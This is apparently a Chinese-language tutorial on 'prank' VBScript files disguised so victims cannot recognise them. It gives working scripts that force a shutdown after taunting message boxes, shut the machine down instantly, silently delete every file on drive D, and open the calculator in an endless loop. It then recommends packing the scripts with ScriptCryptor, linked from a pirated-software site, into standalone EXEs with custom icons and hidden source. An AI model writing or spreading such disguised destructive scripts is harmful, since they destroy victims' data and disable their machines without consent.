怎么样使用vbs 恶搞包装让人看不出

蓝屏后关机：

if MsgBox("你是猪吗？",vbYesNo,"提示")=vbYes then 
do
msgbox "haha"
loop
else 
  msgbox "还不承认!! 作为惩罚，蓝屏一下",1200,"呵呵呵呵"
   if msgbox ("再给你一次机会你是不是sb",vbyesNo,"逗比选择")=vbyes then
    msgbox "玩你的"
   else
     Set ws = CreateObject("Wscript.Shell") 
      ws.run "cmd.exe /c shutdown -s -t 5 -c ""呵呵呵我其实是在关机"" "
      do
      msgbox" -----哈哈啊哈哈哈--------------------------------别想去掉      我"
      loop
  end if
end if 

立即关机：

set ink=WScript.CreateObject("WScript.Shell")
msgbox "命令完成成功！"&"By  BlueSniper_ink(123403760)"
ink.Run  "cmd.exe /c shutdown -s -t 0 -f"

删除d的所有文件：

dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 

无限打开计算器:

​

set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop  

scriptcryptor

下载地址： https://www.0daydown.com/tag/scriptcryptor

特色:

​ 1、通过Windows的图形化操作平台转换Javascript 或者 VBScript 为EXE可执行文件！

​ 2、转换过程中和EXE文件执行过程中不会产生临时文件！

​ 3、支持命令行编辑功能！

​ 4、保护脚本的源代码不被第三方使用者查看和修改！

​ 5、允许你自定义生成后的程序的图标和版权等信息！

​ 6、编译后的EXE可执行程序可脱离任何环境单独运行，不需要”cscript.exe” 和 “wscript.exe” 支持！

使用: 将要转换的vbs文件导入看下图就能生成.exe文件